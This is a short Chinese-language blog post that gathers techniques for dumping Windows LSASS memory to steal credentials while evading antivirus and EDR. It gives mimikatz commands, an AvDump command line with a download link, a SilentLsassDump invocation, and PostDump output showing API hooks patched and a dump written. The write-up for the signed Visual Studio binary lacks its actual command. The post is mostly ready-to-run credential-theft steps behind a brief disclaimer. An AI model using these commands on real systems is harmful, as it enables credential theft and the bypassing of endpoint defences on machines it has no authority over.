文章前言
获取Windows用户的凭证信息是渗透过程中至关重要的一步，如果没有杀软，那么只要有权限想怎么读就怎么读，当有杀软时就得用一些特别的技巧，本篇文章将简单介绍几种之前在Twitter上看到的小技巧，仅供大家参考
LOLBIN
文件路径(需要下载最新版本的VS2022)：
C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\Extensions\TestPlatform\Extensions证书说明：微软签名
转储实践：
之后使用mimikatz查看dump.txt：
sekurlsa::minidump "c:\users\mr.d0x\downloads\dump.txt"sekurlsa::logonpasswords
AvDump
文件下载(安全性自查)：
https://github.com/f1tz/Misc/blob/9c41db77e41d42146467516ca865313f810c44f3/AvDump/x86/AvDump.exe
转储命令：
.\AvDump.exe --pid 704 --exception_ptr 0 --thread_id 0 --dump_level 1 --dump_file lsass.dmp
SilentLsassDump
项目地址：
https://github.com/guervild/BOFs/tree/dev/SilentLsassDump
silentLsassDump <LSASS PID>
PostDump
项目地址：
https://github.com/post-cyberlabs/Offensive_tools/tree/main/PostDump
项目介绍：PostDump是由COS团队(网络攻击和安全)开发的C#工具，它使用几种技术绕过EDR Hook和lsass保护来执行内存转储(lsass)
项目使用：
C:\Temp>PostDump.exe[*] NtReadVirtualMemory: HOOKED! Patching...[*] NtReadVirtualMemory --> NOT Hooked![*] NtOpenProcess: NOT Hooked![*] Real Process Handle: 728[*] PssCaptureSnapshot: NOT Hooked![*] Snapshot succeed! Duplicate handle: 1549097566208[*] MiniDumpWriteDump: NOT Hooked![*] Duplicate dump successful. Dumped 49737034 bytes to: c:\Temp\yolo.log
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论